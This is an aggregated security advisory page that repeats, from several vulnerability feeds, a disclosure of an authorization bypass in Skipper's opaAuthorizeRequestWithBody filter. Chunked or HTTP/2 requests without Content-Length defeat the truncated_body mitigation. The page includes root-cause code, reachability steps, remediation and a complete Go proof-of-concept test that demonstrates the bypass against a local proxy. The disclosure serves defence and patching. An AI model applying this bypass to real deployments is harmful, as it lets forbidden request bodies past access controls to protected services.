Skipper: OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix CVE-2026-50197)

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Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.

Source published

16 Sep 2026 18:51:20 UTC

Source modified

16 Sep 2026 19:38:17 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.

Source published

Sep 16, 2026, 6:51:20 PM (timezone not stated)

Source modified

Sep 16, 2026, 7:38:17 PM (timezone not stated)

Observed here

11 Nov 2026 17:02:08 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.

Source published

16 Sep 2026 19:17:51 UTC

Source modified

16 Sep 2026 20:17:36 UTC

Observed here

25 Oct 2026 16:19:16 UTC

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NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`. - **Affected versions:** `<= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable. - **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) → GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant. ## Summary Skipper's `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`): ```rego default allow := false allow if { input.truncated_body == false # ... body-based conditions } ``` That mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper's `bufferedBodyReader` streams the buffered prefix and then continues draining the original body). The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies. ## Root cause `opa-envoy-plugin/envoyauth/request.go`: ```go func getParsedBody(...) (any, bool, error) { if val, ok := headers["content-type"]; ok { if strings.Contains(val, "application/json") { ... if val, ok := headers["content-length"]; ok { // <-- only path that sets truncation truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body))) ... if truncated { return nil, true, nil } } ... } else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ } else if ... "multipart/form-data" { /* same content-length gate */ } } return data, false, nil // <-- no content-length ==> truncated_body = false } func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) { cl, _ := strconv.ParseInt(contentLength, 10, 64) if cl != -1 && cl > bodyLength { return true, nil } return false, nil } ``` Truncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength < 0`), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing. ## Reachability 1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs). 2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present. 3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix. 4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA. 5. `getParsedBody` finds no `content-length` → `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error. 6. Policy: `input.truncated_body == false` is satisfied → `allow = true`. 7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream. Every guard on the path is accounted for: the only "guard" is `truncated_body`, and it is defeated by omitting `content-length`. ## Impact Bypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High). ## CVSS 3.1 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High** - **AV:N** — remote HTTP request. - **AC:L** — single crafted request; no race/special conditions (just chunked framing + padding). - **PR:N / UI:N** — unauthenticated, no user interaction. - **S:U** — impact within the authorized component/upstream trust scope. - **C:N** — no direct disclosure by the bypass itself. - **I:H** — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource). - **A:N** — not primarily an availability issue. (Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.) ## Proof of Concept Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory's verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream. - **Positive control** — oversized body **with Content-Length** → `truncated_body=true` → **403** (mitigation works). - **Bypass** — identical oversized body sent **chunked** (no Content-Length) → `truncated_body=false` → **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap. Command and observed benign output: ``` $ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1 poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66 --- PASS: TestTruncatedBodyChunkedBypass (0.11s) PASS ``` - content-length variant → **403**, upstream received nothing (`-1`) — mitigation works. - chunked variant (byte-identical body) → **200**, upstream received the **full 66-byte** payload past the 32-byte cap — **authorization bypass**. (Full PoC source is appended below by the submission tool via `--poc-file`.) ## Adversarial re-read (refutation attempts) - *"Truncated JSON just fails to parse → fail closed."* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases. - *"Maybe Skipper adds a content-length for chunked before OPA sees it."* No — `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`. - *"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected."* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly. - *"Is this already covered by CVE-2026-50197?"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies. Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug). ## Remediation Do not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to `false`. ## Confidence High. Root cause verified in both Skipper and the pinned `[email protected]` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation. ## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`) ```go package openpolicyagent_test import ( "fmt" "io" "net/http" "net/http/httptest" "strings" "sync/atomic" "testing" "time" opasdktest "github.com/open-policy-agent/opa/v1/sdk/test" "github.com/stretchr/testify/assert" "github.com/zalando/skipper/eskip" "github.com/zalando/skipper/filters" "github.com/zalando/skipper/filters/builtin" "github.com/zalando/skipper/filters/openpolicyagent" "github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest" "github.com/zalando/skipper/proxy" "github.com/zalando/skipper/routing" "github.com/zalando/skipper/routing/testdataclient" ) // TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734 // mitigation ("check input.truncated_body in your policy") fails OPEN when the // oversized request is sent with Transfer-Encoding: chunked (no Content-Length). // // The mitigation Rego (verbatim from the advisory): // // default allow := false // allow if { input.truncated_body == false } // // truncated_body is derived by the OPA envoy plugin ONLY when a content-length // header is present (opa-envoy-plugin envoyauth/request.go getParsedBody -> // checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no // content-length, so truncated_body stays false even though Skipper truncated // the body to max-request-body-size. The mitigated policy therefore ALLOWS an // oversized body and the full payload reaches upstream. func TestTruncatedBodyChunkedBypass(t *testing.T) { const maxBody = 32 // oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32. payload := "a=" + strings.Repeat("A", 64) // upstream records how many body bytes it actually received. var upstreamBytes atomic.Int64 backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { n, _ := io.Copy(io.Discard, r.Body) upstreamBytes.Store(n) w.WriteHeader(200) w.Write([]byte("OK")) })) defer backend.Close() bundleName := "test-bundle" opaControlPlane := opasdktest.MustNewServer( opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{ // The exact mitigation the advisory recommends. "main.rego": ` package envoy.authz import rego.v1 default allow := false allow if { input.truncated_body == false } `, }), ) defer opaControlPlane.Stop() config := fmt.Appendf(nil, `{ "services": {"test": {"url": %q}}, "bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}}, "labels": {"environment": "test"}, "plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}} }`, opaControlPlane.URL()) opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry( openpolicyagent.WithPreloadingEnabled(true), openpolicyagent.WithEnableDataPreProcessingOptimization(true), openpolicyagent.WithInstanceStartupTimeout(5*time.Second), openpolicyagent.WithMaxRequestBodyBytes(maxBody), openpolicyagent.WithOpenPolicyAgentInstanceConfig( openpolicyagent.WithConfigTemplate(config)), ) if err != nil { t.Fatalf("opaRegistry: %v", err) } defer opaRegistry.Close() fr := make(filters.Registry) fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry)) fr.Register(builtin.NewSetPath()) docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";` r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL)) dc := testdataclient.New(r) defer dc.Close() rt := routing.New(routing.Options{ FilterRegistry: fr, DataClients: []routing.DataClient{dc}, PreProcessors: []routing.PreProcessor{opaRegistry.NewPreProcessor()}, PostProcessors: []routing.PostProcessor{opaRegistry}, PollTimeout: time.Second, SignalFirstLoad: true, }) defer rt.Close() <-rt.FirstLoad() pr := proxy.WithParams(proxy.Params{Routing: rt}) defer pr.Close() ts := httptest.NewServer(pr) defer ts.Close() inst, err := opaRegistry.GetOrStartInstance(bundleName) assert.NoError(t, err) assert.NotNil(t, inst) doReq := func(chunked bool) (int, int64) { upstreamBytes.Store(-1) req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload)) if err != nil { t.Fatalf("new request: %v", err) } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") if chunked { // Force chunked framing: no Content-Length reaches the server, // so the server sees req.ContentLength == -1. req.ContentLength = -1 req.TransferEncoding = []string{"chunked"} } rsp, err := ts.Client().Do(req) if err != nil { t.Fatalf("do: %v", err) } io.Copy(io.Discard, rsp.Body) rsp.Body.Close() return rsp.StatusCode, upstreamBytes.Load() } // POSITIVE CONTROL: oversized body WITH Content-Length. // truncated_body == true -> policy denies. Mitigation works as designed. clStatus, clUpstream := doReq(false) t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream) assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)") // BYPASS: identical oversized body sent CHUNKED (no Content-Length). // truncated_body == false -> policy ALLOWS -> full payload reaches upstream. chStatus, chUpstream := doReq(true) t.Logf("[chunked ] status=%d upstream_body_bytes=%d", chStatus, chUpstream) assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation") assert.Equal(t, int64(len(payload)), chUpstream, "BYPASS: upstream received the FULL oversized payload past OPA authorization") } ```

Source published

17 Sep 2026 17:05:57 UTC

Source modified

28 Sep 2026 17:11:13 UTC

Observed here

24 Oct 2026 13:19:41 UTC

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GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH

Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734) in github.com/zalando/skipper

Source published

28 Sep 2026 16:43:40 UTC

Source modified

28 Sep 2026 17:00:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.